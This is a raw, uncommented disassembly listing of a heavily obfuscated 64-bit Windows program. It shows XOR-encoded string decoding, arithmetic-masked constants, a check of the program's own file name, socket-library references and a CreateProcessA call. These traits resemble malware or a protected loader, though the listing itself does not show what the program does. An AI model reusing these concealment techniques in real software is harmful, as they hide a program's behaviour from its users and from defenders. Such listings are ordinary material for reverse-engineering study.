mov rbx, rax
mov rax, qword [rbx + 0x18]
mov rcx, qword [0x140298440]
movabs rdx, 0xa58346c3fbcad01e
imul rcx, rdx
mov rdx, qword [0x140298448]
movabs r8, 0xe8c251b5142d31cd
imul rdx, r8
add rdx, rcx
movabs rcx, 0x71a69d5bd58c4612
add rdx, rcx
cmp rax, rdx
jbe 0x140017374
mov rdx, qword [rbx]
mov rcx, qword [0x140298450]
mov r8, qword [0x140298458]
shrd r8, rcx, 0x12
mov rcx, r8
movabs r8, 0x3532ab6fc3e9d43e
xor rcx, r8
mov r8, qword [0x140298460]
mov r9, qword [0x140298468]
shrd r9, r8, 0x36
add rcx, rax
movabs r8, 0x9aa6f3357a2e4da1
xor r9, r8
cmp rcx, r9
jbe 0x14001735e
mov rcx, qword [rdx - 8]
mov r8, qword [0x140298470]
movabs r9, 0x44ed2dc47853651f
imul r8, r9
mov r9, qword [0x140298478]
movabs r10, 0x13d6587e5a984c7b
imul r9, r10
add r9, r8
add r9, rdx
sub r9, rcx
movabs rdx, 0x5368074b901872c2
add r9, rdx
mov rdx, qword [0x140298480]
movabs r8, 0xc5f73114b2b108e
imul rdx, r8
mov r8, qword [0x140298488]
movabs r10, 0x8e84f28645d660aa
imul r8, r10
add r8, rdx
movabs rdx, 0xc58c3ccf05f7e712
add r8, rdx
cmp r9, r8
jae 0x140018ab4
mov rdx, qword [0x140298490]
movabs r8, 0x4646ec95b60a3728
imul rdx, r8
mov r8, qword [0x140298498]
movabs r9, 0xc882a9ceb840b5e2
imul r8, r9
add r8, rdx
movabs rdx, 0x1245a626a68248ce
add rax, rdx
add rax, r8
jmp 0x140017364
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
mov rax, qword [0x1402984a0]
mov rcx, qword [0x1402984a8]
shrd rcx, rax, 0x39
movabs rax, 0xc86556aa4c3f8ae2
xor rcx, rax
mov qword [rbx + 0x10], rcx
mov rax, qword [0x1402984b0]
mov rcx, qword [0x1402984b8]
shrd rcx, rax, 0x3c
movabs rax, 0xc254fe3ffb8f264c
xor rcx, rax
mov qword [rbx + 0x18], rcx
movzx eax, byte [0x1402984c0]
movzx ecx, byte [0x1402984c1]
lea eax, [rax + rax*8]
lea eax, [rax + rax*2]
imul ecx, ecx, 0xffffff9f
add cl, al
add cl, 0x3b
mov byte [rbx], cl
mov rax, rbx
add rax, 0x28
mov rbx, rax
cmp rax, rdi
jne 0x1400171ff
mov rbx, qword [rbp - 0x20]
mov rdx, qword [rbx]
jmp 0x1400173f9
mov rdx, rax
mov rax, qword [rbx + 0x10]
mov rcx, qword [str.71_]
mov r8, qword [0x1402984d0]
shrd r8, rcx, 0x24
sub rax, rdx
movabs rcx, 0x75d2b31379707448
xor r8, rcx
cmp rax, r8
mov rdi, qword [rbp + 0x30]
jbe 0x1400174bf
mov rcx, qword [rdx - 8]
mov r8, qword [0x1402984d8]
mov r9, qword [0x1402984e0]
shrd r9, r8, 0x22
movabs r8, 0xd429bf065a704d0c
xor r9, r8
add r9, rdx
mov rdx, qword [0x1402984e8]
mov r8, qword [0x1402984f0]
shrd r8, rdx, 3
sub r9, rcx
movabs rdx, 0xa3e101d320228a39
xor r8, rdx
cmp r9, r8
jae 0x140018ab4
mov rdx, qword [0x1402984f8]
movabs r8, 0x23c0de1d03a3c346
imul rdx, r8
mov r8, qword [0x140298500]
movabs r9, 0x8d951dcd034e2264
imul r8, r9
add r8, rdx
movabs rdx, 0x1f10e7aa2187e049
add rax, rdx
add rax, r8
jmp 0x1400174c2
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
movups xmmword [rbx], xmm6
mov qword [rbx + 0x10], 0
jmp 0x1400162a3
mov rsi, qword [rdi]
mov rdi, rsi
mov rdi, qword [rdi]
cmp rdi, rsi
je 0x140017506
mov rcx, qword [rdi + 0x10]
mov rax, qword [rcx]
nop
sub rsp, 0x20
call qword [rax + reloc.WS2_32.dll_htonl]
add rsp, 0x20
nop
jmp 0x1400174e8
movzx eax, byte [0x140298508]
movzx ecx, byte [0x140298509]
imul eax, eax, 0xffffffbd
lea ecx, [rcx + rcx*2]
neg ecx
add cl, al
add cl, 0x5e
mov rax, qword [rbp + 0x30]
cmp byte [rax + 0x11], cl
je 0x140018999
sub rsp, 0x20
mov r8d, 0x105
mov rsi, qword [rbp - 0x38]
mov rcx, rsi
xor edx, edx
call fcn.1401a1180
add rsp, 0x20
mov eax, dword [0x14029850c]
mov ecx, dword [0x140298510]
shrd ecx, eax, 0x1c
mov r8d, ecx
xor r8d, 0x8ec89546
sub rsp, 0x20
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
mov ecx, dword [0x140298514]
mov edx, dword [0x140298518]
shrd edx, ecx, 0x13
xor edx, 0x55894488
cmp eax, edx
je 0x140018999
mov eax, dword [0x1402bcbf8]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x2c4], 0
je 0x140018abd
mov eax, dword [0x1402bcbf8]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rsi, [rax + 0x2b9]
mov al, byte [0x14029851c]
mov cl, byte [0x14029851d]
shr cl, 5
shl al, 3
or al, cl
xor al, 0xdc
cmp byte [rsi + 9], al
je 0x1400176f1
movabs rax, 0xdd9a237488cf8e5c
movabs rdx, 0x9f70ac374d31a21a
movabs r8, 0x45361bb92e51b4e5
movabs r9, 0xa5d5e92674d09e3b
movabs r10, 0x1ad6fe2ea073b07f
movabs r11, 0x26d2b5de8b2dcc78
movabs rdi, 0x5b26f9906f8f6a1f
xor ebx, ebx
mov rcx, qword [0x140298520]
shr rcx, 0x34
xor cl, 0xfa
mov r14, rbx
shl r14, cl
imul ecx, dword [0x140298528], 0x71ccaed2
imul r15d, dword [0x140298530], 0x8b3ba43b
add ecx, r15d
add ecx, 0x3fca7738
and r14d, ecx
mov rcx, qword [0x140298538]
imul rcx, rax
mov r15, qword [0x140298540]
imul r15, rdx
add r15, rcx
add r15, r8
mov ecx, r14d
shr r15, cl
mov ecx, r15d
xor byte [rsi + rbx], r15b
mov rcx, qword [0x140298548]
imul rcx, r9
mov r14, qword [0x140298550]
imul r14, r10
add r14, rcx
add rbx, r11
mov rcx, rbx
add rcx, r14
mov rbx, qword [0x140298558]
mov r14, qword [0x140298560]
shrd r14, rbx, 0x3c
xor r14, rdi
mov rbx, rcx
cmp rcx, r14
jne 0x140017636
mov al, byte [0x140298568]
mov cl, byte [0x140298569]
add al, al
shl cl, 6
add cl, al
add cl, 0xd2
mov byte [rsi + 9], cl
mov qword [r13], 0
mov rax, qword [0x140298570]
mov rcx, qword [0x140298578]
shrd rcx, rax, 0x21
movabs rax, 0x4e6de1bbd85c426a
xor rax, rcx
mov qword [r13 + 0x10], rax
movabs rax, 0x763b5a271bb4eb07
imul rax, qword [0x140298580]
movabs rcx, 0xf37b5043e8e9305c
imul rcx, qword [0x140298588]
add rcx, rax
movabs rax, 0x2b7e2d65fc0cc8e9
add rax, rcx
mov qword [r13 + 0x18], rax
movzx eax, byte [0x140298590]
mov cl, byte [0x140298591]
imul eax, eax, 0xffffff9b
shl cl, 4
add cl, al
add cl, 0xb3
mov byte [r13], cl
sub rsp, 0x20
mov rcx, rsi
call fcn.1401b6280
add rsp, 0x20
mov rdi, rax
movabs rcx, 0x5579b5a3a2bf86e7
imul rcx, qword [0x140298598]
movabs rdx, 0x9ec7bae56cee6422
imul rdx, qword [0x1402985a0]
add rdx, rcx
movabs rcx, 0xe0d9643e7ec69b5
add rcx, rdx
cmp rax, rcx
jbe 0x140017933
movabs rcx, 0x3cda400b45e4858c
imul rcx, qword [0x1402985b0]
movabs rdx, 0x30ee3e025fe9b973
imul rdx, qword [0x1402985b8]
add rdx, rcx
movabs rcx, 0x433ec33adb8ce663
add rcx, rdx
cmp rax, rcx
jl 0x140018b2c
movabs rcx, 0xbf4e5e526e27b151
imul rcx, qword [0x1402985c0]
movabs rdx, 0x942674dca3a964c
imul rdx, qword [0x1402985c8]
add rdx, rcx
movabs rcx, 0xfcee6f2ad14ddd4a
add rcx, rdx
or rax, rcx
cmp rax, 0x17
mov r14d, reloc.WS2_32.dll_shutdown
cmovae r14, rax
movabs rcx, 0xc4256069013cd91b
imul rcx, qword [0x1402985d0]
movabs rdx, 0x2b60d21f1dafa2db
imul rdx, qword [0x1402985d8]
add rdx, rcx
movabs rcx, 0x63e05e99c708f583
add rcx, rdx
add rcx, r14
movabs rdx, 0x3f12508ff5a53a0c
imul rdx, qword [0x1402985e0]
movabs r8, 0x63adfaaedfabc707
imul r8, qword [0x1402985e8]
add r8, rdx
movabs rdx, 0xbde70ab153d60bb5
add rdx, r8
cmp rax, rdx
jbe 0x14001796a
nop
sub rsp, 0x20
call fcn.1400031b3
add rsp, 0x20
nop
jmp 0x140017979
movabs rdx, 0xda83d7e59f3b5cbc
imul rdx, qword [0x140298050]
movabs r8, 0x2cf53f946483a9d6
imul r8, qword [0x140298058]
add r8, rdx
movabs rdx, 0xb8a88be018e66e8d
add rdx, r8
cmp r13, rdx
jne 0x140018a9f
mov edx, dword [0x140298060]
mov r8d, dword [0x140298064]
shrd r8d, edx, 9
xor r8d, 0x58df80a8
cmp dword [rsi + 0x80], r8d
je 0x1400161e3
jmp 0x140018a9f
mov qword [r13 + 0x10], rdi
sub rsp, 0x20
mov rcx, r13
mov rdx, rsi
mov r8, rdi
call fcn.1401a0ad0
add rsp, 0x20
mov al, byte [0x1402985a8]
mov cl, byte [0x1402985a9]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x67
mov byte [r13 + rdi], al
jmp 0x1400179b6
nop
sub rsp, 0x20
call fcn.1400d87f8
add rsp, 0x20
nop
mov rbx, rax
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], r14
sub rsp, 0x20
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call fcn.1401a0ad0
add rsp, 0x20
mov al, byte [0x1402985f0]
mov cl, byte [0x1402985f1]
shr cl, 7
add al, al
or al, cl
xor al, 0x3f
mov byte [rbx + rdi], al
mov qword [r13], rbx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add rsp, 0x20
nop
sub rsp, 0x20
mov r14, qword [rbp + 0x18]
mov rcx, r14
mov edx, eax
call fcn.14002ac30
add rsp, 0x20
nop
mov r15, qword [rbp - 8]
mov r12, qword [rbp - 0x18]
mov r13, qword [rbp - 0x10]
mov eax, dword [0x1402bcbf8]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x2f0], 0
je 0x140018af0
mov eax, dword [0x1402bcbf8]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rsi, [rax + 0x2c5]
mov al, byte [0x1402985f2]
mov cl, byte [0x1402985f3]
shr cl, 2
shl al, 6
or al, cl
xor al, 0x49
cmp byte [rsi + 0x28], al
je 0x140017b16
movabs rax, 0x13aa988ff4ebb5b3
movabs rdx, 0xdb5567b8d02d7096
movabs r8, 0x4aeb18516bf7a7b1
movabs r9, 0x5f6341121fdeb615
movabs r10, 0x28062a4a9052e1df
xor r11d, r11d
mov cl, byte [0x1402985fd]
xor cl, 0x64
mov rdi, r11
shl rdi, cl
mov rcx, qword [0x140298600]
shr rcx, 0x1f
xor ecx, 0xbc
and edi, ecx
mov rcx, qword [0x140298608]
mov rbx, qword [0x140298610]
shrd rbx, rcx, 0x3d
xor rbx, rax
mov ecx, edi
shr rbx, cl
mov ecx, ebx
xor byte [rsi + r11], bl
mov rcx, qword [0x140298618]
mov rdi, qword [0x140298620]
shrd rdi, rcx, 0x17
xor rdi, rdx
add rdi, r11
mov rcx, qword [0x140298628]
imul rcx, r8
mov r11, qword [0x140298630]
imul r11, r9
add r11, rcx
mov rcx, r11
add rcx, r10
mov r11, rdi
cmp rdi, rcx
jne 0x140017a76
mov al, byte [0x140298638]
mov cl, byte [0x140298639]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x79
mov byte [rsi + 0x28], al
mov qword [r15], 0
mov rax, qword [0x140298640]
mov rcx, qword [0x140298648]
shrd rcx, rax, 0x37
movabs rax, 0x7a0cbfffdbdde0d5
xor rax, rcx
mov qword [r15 + 0x10], rax
movabs rax, 0xa13f06853144fadd
imul rax, qword [0x140298650]
movabs rcx, 0xddc714f369e8a89c
imul rcx, qword [0x140298658]
add rcx, rax
movabs rax, 0x316d4f9343ada0c
add rax, rcx
mov qword [r15 + 0x18], rax
mov al, byte [0x140298660]
mov cl, byte [0x140298661]
shr cl, 4
shl al, 4
or al, cl
xor al, 0x3e
mov byte [r15], al
sub rsp, 0x20
mov rcx, rsi
call fcn.1401b6280
add rsp, 0x20
mov rdi, rax
movabs rcx, 0x5588c0cffda78f66
imul rcx, qword [0x140298668]
movabs rdx, 0x10c8b56030434020
imul rdx, qword [0x140298670]
add rdx, rcx
movabs rcx, 0x550575cb8165218f
add rcx, rdx
cmp rax, rcx
jbe 0x140017ca9
movabs rcx, 0x704fa7f6311833c6
imul rcx, qword [0x140298680]
movabs rdx, 0x58ea4ba89ddd2298
imul rdx, qword [0x140298688]
add rdx, rcx
movabs rcx, 0xd00b319d9b883258
add rcx, rdx
cmp rax, rcx
jl 0x140018b3b
mov rcx, qword [0x140298690]
mov rdx, qword [0x140298698]
shrd rdx, rcx, 0x32
movabs rcx, 0x758aeb4a510f8de2
xor rcx, rdx
or rax, rcx
cmp rax, 0x17
mov r14d, reloc.WS2_32.dll_shutdown
cmovae r14, rax
mov rcx, qword [0x1402986a0]
mov rdx, qword [0x1402986a8]
shrd rdx, rcx, 0x22
movabs rcx, 0x45a840ee060cb179
xor rcx, rdx
add rcx, r14
mov rdx, qword [0x1402986b0]
mov r8, qword [0x1402986b8]
shrd r8, rdx, 0x2e
movabs rdx, 0x2c2cf979afd1c7f9
xor rdx, r8
cmp rax, rdx
jbe 0x140017cdf
nop
sub rsp, 0x20
call fcn.1400031b3
add rsp, 0x20
nop
jmp 0x140017cee
mov qword [r15 + 0x10], rdi
sub rsp, 0x20
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call fcn.1401a0ad0
add rsp, 0x20
mov al, byte [0x140298678]
mov cl, byte [0x140298679]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x8a
mov byte [r15 + rdi], al
jmp 0x140017d3e
nop
sub rsp, 0x20
call fcn.1400d87f8
add rsp, 0x20
nop
mov rbx, rax
mov qword [r15 + 0x10], rdi
mov qword [r15 + 0x18], r14
sub rsp, 0x20
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call fcn.1401a0ad0
add rsp, 0x20
movzx eax, byte [0x1402986c0]
movzx ecx, byte [0x1402986c1]
mov edx, eax
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, edx
lea ecx, [rcx + rcx*4]
lea ecx, [rcx + rcx*2]
add cl, dl
add cl, 0xec
mov byte [rbx + rdi], cl
mov qword [r15], rbx
mov r14, qword [rbp + 0x18]
nop
sub rsp, 0x20
mov rcx, r12
mov r8, r15
mov r9, r14
call fcn.14000d758
add rsp, 0x20
nop
mov rdi, qword [rbp - 0x60]
mov rsi, qword [rbp - 0x58]
nop
sub rsp, 0x20
mov rcx, r13
mov r8, r12
mov r9, qword [rbp + 0x38]
call fcn.14000d758
add rsp, 0x20
nop
sub rsp, 0x20
mov rbx, qword [rbp - 0x38]
mov rcx, rbx
call fcn.1401b6280
add rsp, 0x20
nop
sub rsp, 0x20
mov rcx, r13
mov rdx, rbx
mov r8, rax
call fcn.14000ce5a
add rsp, 0x20
nop
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
movabs rcx, 0xd4aed317ddb31228
imul rcx, qword [0x1402986c8]
movabs rdx, 0xf97aec2ead3ff3a2
imul rdx, qword [str.e_lYi7]
add rdx, rcx
movabs rcx, 0x7af4b5b9f906a376
add rcx, rdx
mov qword [rax + 0x10], rcx
mov rcx, qword [0x1402986d8]
mov rdx, qword [0x1402986e0]
shrd rdx, rcx, 0x13
movabs rcx, 0x6c69edf0556a4cfe
xor rcx, rdx
mov qword [rax + 0x18], rcx
mov cl, byte [reloc.WS2_32.dll_getsockopt]
mov dl, byte [0x1402986e9]
shr dl, 6
shl cl, 2
or cl, dl
xor cl, 0x1e
mov byte [rax], cl
mov r13, qword [rbp - 0x10]
mov rax, qword [r13 + 0x18]
mov rcx, qword [0x1402986f0]
mov rdx, qword [0x1402986f8]
shrd rdx, rcx, 0x3c
movabs rcx, 0xec46678285c721ea
xor rcx, rdx
cmp rax, rcx
mov rbx, qword [rbp + 0x38]
mov r14, qword [rbp + 0x18]
mov r15, qword [rbp - 8]
mov r12, qword [rbp - 0x18]
jbe 0x140017f6d
mov rcx, qword [0x140298700]
mov r8, qword [0x140298708]
shrd r8, rcx, 0x1e
mov rdx, qword [r13]
movabs rcx, 0x66c88e122fafba54
xor rcx, r8
add rcx, rax
movabs r8, 0x6291d81a6c25fb1
imul r8, qword [0x140298710]
movabs r9, 0x3a15c5786b3f3021
imul r9, qword [0x140298718]
add r9, r8
movabs r8, 0x274e0898e904582a
add r8, r9
cmp rcx, r8
jbe 0x140017f57
mov rcx, qword [rdx - 8]
mov r8, qword [0x140298720]
mov r9, qword [0x140298728]
shrd r9, r8, 1
movabs r8, 0x10e6d350bd5ccd54
xor r8, r9
add r8, rdx
sub r8, rcx
movabs rdx, 0x16b8bc25f714775
imul rdx, qword [0x140298730]
movabs r9, 0xf1e58a59d1f97536
imul r9, qword [0x140298738]
add r9, rdx
movabs rdx, 0xd00efa681212f49
add rdx, r9
cmp r8, rdx
jae 0x140018ab4
mov rdx, qword [0x140298740]
mov r8, qword [0x140298748]
shrd r8, rdx, 0xb
movabs rdx, 0xdb937d510dd340da
xor rdx, r8
add rax, rdx
jmp 0x140017f5d
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
mov rax, qword [0x140298750]
mov rcx, qword [0x140298758]
shrd rcx, rax, 0x34
movabs rax, 0x8d6d8a96d5c6fb2f
xor rax, rcx
mov qword [r13 + 0x10], rax
mov rax, qword [0x140298760]
mov rcx, qword [0x140298768]
shrd rcx, rax, 0x23
movabs rax, 0x10af0b16b2108346
xor rax, rcx
mov qword [r13 + 0x18], rax
movzx eax, byte [0x140298770]
movzx ecx, byte [0x140298771]
imul eax, eax, 0xffffff95
imul ecx, ecx, 0x65
add cl, al
add cl, 0xcc
mov byte [r13], cl
mov rax, qword [r12 + 0x18]
mov rcx, qword [0x140298778]
mov rdx, qword [0x140298780]
shrd rdx, rcx, 0x2d
movabs rcx, 0x6028d0abd31437db
xor rcx, rdx
cmp rax, rcx
jbe 0x1400180fd
mov rcx, qword [r12]
movabs rdx, 0xd4c0b9277bbdb80f
imul rdx, qword [0x140298788]
movabs r8, 0x43bc3a358e8a985c
imul r8, qword [0x140298790]
add r8, rdx
movabs rdx, 0x5554ae3bd591d7fb
add rdx, rax
add rdx, r8
movabs r8, 0xb665624c94c057e7
imul r8, qword [0x140298798]
movabs r9, 0xe9452f4cc2180fd2
imul r9, qword [0x1402987a0]
add r9, r8
movabs r8, 0x5b6a8e5e1289efa7
add r8, r9
cmp rdx, r8
jbe 0x1400180f0
mov rdx, qword [rcx - 8]
mov r8, qword [0x1402987a8]
mov r9, qword [0x1402987b0]
shrd r9, r8, 0x3c
movabs r8, 0x6f89730c32c88bb5
xor r8, r9
add r8, rcx
sub r8, rdx
mov rcx, qword [0x1402987b8]
mov r9, qword [0x1402987c0]
shrd r9, rcx, 0x1a
movabs rcx, 0xa9387eda9eded3b1
xor rcx, r9
cmp r8, rcx
jae 0x140018ab4
mov rcx, qword [0x1402987c8]
mov r8, qword [0x1402987d0]
shrd r8, rcx, 0x37
movabs rcx, 0x44c5e7a6236847f6
xor rcx, r8
add rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
movabs rax, 0x7d4f1c8691d686da
imul rax, qword [0x1402987d8]
movabs rcx, 0x372ac163eab58c13
imul rcx, qword [0x1402987e0]
add rcx, rax
movabs rax, 0x39b074ebddc8d981
add rax, rcx
mov qword [r12 + 0x10], rax
mov rax, qword [0x1402987e8]
mov rcx, qword [0x1402987f0]
shrd rcx, rax, 0x18
movabs rax, 0x2709e6b1108154c6
xor rax, rcx
mov qword [r12 + 0x18], rax
mov al, byte [0x1402987f8]
mov cl, byte [0x1402987f9]
shr cl, 4
shl al, 4
or al, cl
xor al, 0x62
mov byte [r12], al
mov rax, qword [r15 + 0x18]
mov rcx, qword [0x140298800]
mov rdx, qword [0x140298808]
shrd rdx, rcx, 0x14
movabs rcx, 0x8763b71e4a57f1fa
xor rcx, rdx
cmp rax, rcx
jbe 0x1400182a7
mov rcx, qword [0x140298810]
mov r8, qword [0x140298818]
shrd r8, rcx, 0x27
mov rdx, qword [r15]
movabs rcx, 0xfa2d1656551d406f
xor rcx, r8
add rcx, rax
movabs r8, 0xe26a57500f76ed84
imul r8, qword [0x140298820]
movabs r9, 0xdf1c818f0cee02ee
imul r9, qword [0x140298828]
add r9, r8
movabs r8, 0xa6056f87b32d6ae1
add r8, r9
cmp rcx, r8
jbe 0x140018291
mov rcx, qword [rdx - 8]
movabs r8, 0x8e00e4096116a106
imul r8, qword [0x140298830]
movabs r9, 0xf294f6b02b150775
imul r9, qword [0x140298838]
add r9, r8
add r9, rdx
sub r9, rcx
movabs rdx, 0x9755061c9946c49b
add rdx, r9
mov r8, qword [0x140298840]
mov r9, qword [0x140298848]
shrd r9, r8, 0x3a
movabs r8, 0x6f7b187ba59c114c
xor r8, r9
cmp rdx, r8
jae 0x140018ab4
mov rdx, qword [0x140298850]
mov r8, qword [0x140298858]
shrd r8, rdx, 0x17
movabs rdx, 0x2dfab3d9f8102981
xor rdx, r8
add rax, rdx
jmp 0x140018297
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
movabs rax, 0xd30e45744a3f6166
imul rax, qword [0x140298860]
movabs rcx, 0x5d555d054cbd1aa0
imul rcx, qword [0x140298868]
add rcx, rax
movabs rax, 0xc8a1bae964049c7e
add rax, rcx
mov qword [r15 + 0x10], rax
mov rax, qword [0x140298870]
mov rcx, qword [0x140298878]
shrd rcx, rax, 0x36
movabs rax, 0xe994b7ba234ea837
xor rax, rcx
mov qword [r15 + 0x18], rax
mov al, byte [0x140298880]
mov cl, byte [0x140298881]
shr cl, 3
shl al, 5
or al, cl
xor al, 0x6d
mov byte [r15], al
mov rax, qword [r14 + 0x18]
mov rcx, qword [0x140298888]
mov rdx, qword [0x140298890]
shrd rdx, rcx, 0x23
movabs rcx, 0x6879797b3f25556b
xor rcx, rdx
cmp rax, rcx
jbe 0x14001844e
mov rdx, qword [r14]
mov rcx, qword [0x140298898]
mov r8, qword [0x1402988a0]
shrd r8, rcx, 0x2d
movabs rcx, 0x12d59b4c0c44dc5a
xor rcx, r8
add rcx, rax
mov r8, qword [0x1402988a8]
mov r9, qword [0x1402988b0]
shrd r9, r8, 0x1f
movabs r8, 0xbcb32bdd66906dcb
xor r8, r9
cmp rcx, r8
jbe 0x140018438
mov rcx, qword [rdx - 8]
mov r8, qword [0x1402988b8]
mov r9, qword [str.v09J]
shrd r9, r8, 0x26
movabs r8, 0x48797fcec0d46306
xor r8, r9
add r8, rdx
sub r8, rcx
movabs rdx, 0xfa5b6e028c1bf9ea
imul rdx, qword [0x1402988c8]
movabs r9, 0xe804b92e8cd2247f
imul r9, qword [0x1402988d0]
add r9, rdx
movabs rdx, 0xb2f97cdbc3c9139a
add rdx, r9
cmp r8, rdx
jae 0x140018ab4
movabs rdx, 0xcfb8880257b2284f
imul rdx, qword [0x1402988d8]
movabs r8, 0xeb49ca11016b45d
imul r8, qword [0x1402988e0]
add r8, rdx
movabs rdx, 0x1cbc0d67274768fe
add rax, rdx
add rax, r8
jmp 0x14001843e
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
movabs rax, 0xb875da0d527275e3
imul rax, qword [0x1402988e8]
movabs rcx, 0xab592fd09d23b8c9
imul rcx, qword [0x1402988f0]
add rcx, rax
movabs rax, 0x515994a4395cbcfb
add rax, rcx
mov qword [r14 + 0x10], rax
mov rax, qword [0x1402988f8]
mov rcx, qword [0x140298900]
shrd rcx, rax, 0x3b
movabs rax, 0x550541c112e3d11e
xor rax, rcx
mov qword [r14 + 0x18], rax
mov al, byte [0x140298908]
mov cl, byte [0x140298909]
shr cl, 6
shl al, 2
or al, cl
xor al, 0x88
mov byte [r14], al
mov rax, qword [rbx + 0x18]
movabs rcx, 0x9c8e56aa34f54b33
imul rcx, qword [0x140298910]
movabs rdx, 0x77bf4e2a98c52fd1
imul rdx, qword [0x140298918]
add rdx, rcx
movabs rcx, 0x8889e7ec648ba928
add rcx, rdx
cmp rax, rcx
jbe 0x14001861d
mov rdx, qword [rbx]
movabs rcx, 0x933be613f1cc471e
imul rcx, qword [0x140298920]
movabs r8, 0xed48f4820cec51da
imul r8, qword [0x140298928]
add r8, rcx
movabs rcx, 0x62da7e3d34e1f4a5
add rcx, rax
add rcx, r8
mov r8, qword [0x140298930]
mov r9, qword [0x140298938]
shrd r9, r8, 0x17
movabs r8, 0xbc055d31e09f53fd
xor r8, r9
cmp rcx, r8
jbe 0x140018607
mov rcx, qword [rdx - 8]
mov r8, qword [0x140298940]
mov r9, qword [0x140298948]
shrd r9, r8, 0x3f
movabs r8, 0x55bfd3383ee3c5d5
xor r8, r9
add r8, rdx
sub r8, rcx
movabs rdx, 0xa33e650e74dbfbcf
imul rdx, qword [0x140298950]
movabs r9, 0xd9f496e420391a00
imul r9, qword [0x140298958]
add r9, rdx
movabs rdx, 0xc111d01c03af7848
add rdx, r9
cmp r8, rdx
jae 0x140018ab4
movabs rdx, 0x460796504a590cea
imul rdx, qword [0x140298960]
movabs r8, 0xf13e5037bc900dcb
imul r8, qword [0x140298968]
add r8, rdx
movabs rdx, 0x1989b1ea9fed9b09
add rax, rdx
add rax, r8
jmp 0x14001860d
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
movabs rax, 0x7a117971f9fc9361
imul rax, qword [0x140298970]
movabs rcx, 0x83d5e5e7259d301d
imul rcx, qword [0x140298978]
add rcx, rax
movabs rax, 0x5145ae579cbe0861
add rax, rcx
mov qword [rbx + 0x10], rax
mov rax, qword [0x140298980]
mov rcx, qword [0x140298988]
shrd rcx, rax, 0x29
movabs rax, 0xeaa2d8651c8ff2a8
xor rax, rcx
mov qword [rbx + 0x18], rax
mov al, byte [0x140298990]
mov cl, byte [0x140298991]
shr cl, 5
shl al, 3
or al, cl
xor al, 0x24
mov byte [rbx], al
xor eax, eax
mov r9, qword [rbp - 0x50]
mov qword [r9 + 0x60], rax
xorps xmm0, xmm0
movups xmmword [r9 + 0x50], xmm0
movups xmmword [r9 + 0x40], xmm0
movups xmmword [r9 + 0x30], xmm0
movups xmmword [r9 + 0x20], xmm0
movups xmmword [r9 + 0x10], xmm0
movups xmmword [r9], xmm0
imul ecx, dword [0x140298994], 0xac7834f9
imul edx, dword [0x140298998], 0x323e89d2
add ecx, edx
add ecx, 0x14b0862c
mov dword [r9], ecx
mov ecx, dword [0x14029899c]
mov edx, dword [0x1402989a0]
shrd edx, ecx, 0x11
xor edx, 0x227574b8
mov dword [r9 + 0x3c], edx
mov qword [rsi + 0x10], rax
movups xmmword [rsi], xmm0
movabs rax, 0x6e9ad1beb59f71e5
imul rax, qword [0x1402989a8]
movabs rcx, 0x7538f935e08a7ed7
imul rcx, qword [0x1402989b0]
add rcx, rax
movabs rax, 0x2e6a38bcf6aef4f9
add rax, rcx
mov rdx, rdi
cmp qword [rdi + 0x18], rax
jbe 0x14001873b
mov rdx, qword [rdi]
mov eax, dword [0x1402989b8]
mov ecx, dword [0x1402989bc]
shrd ecx, eax, 0x15
xor ecx, 0x18b19774
mov eax, dword [0x1402989c0]
mov r8d, dword [0x1402989c4]
shrd r8d, eax, 2
xor r8d, 0xc0be4dc9
sub rsp, 0x50
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], r9
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
add rsp, 0x50
imul ecx, dword [0x1402989c8], 0x999279cc
imul edx, dword [0x1402989cc], 0x10433085
add ecx, edx
add ecx, 0x7c9e04ac
cmp eax, ecx
jne 0x14001880a
imul eax, dword [0x1402989d0], 0x47580471
imul edx, dword [0x1402989d4], 0x6c54b96c
mov rcx, qword [rsi]
add edx, eax
add edx, 0x32d8dcec
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov rcx, qword [rsi + 8]
sub rsp, 0x20
mov rbx, rsi
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
add rsp, 0x20
mov rcx, qword [rbx]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rax, qword [rdi + 0x18]
movabs rcx, 0xf7ca0d57bdab0e94
imul rcx, qword [0x1402989d8]
movabs rdx, 0x52da82b20920401a
imul rdx, qword [0x1402989e0]
add rdx, rcx
movabs rcx, 0x7fa9fe8dd6641605
add rcx, rdx
cmp rax, rcx
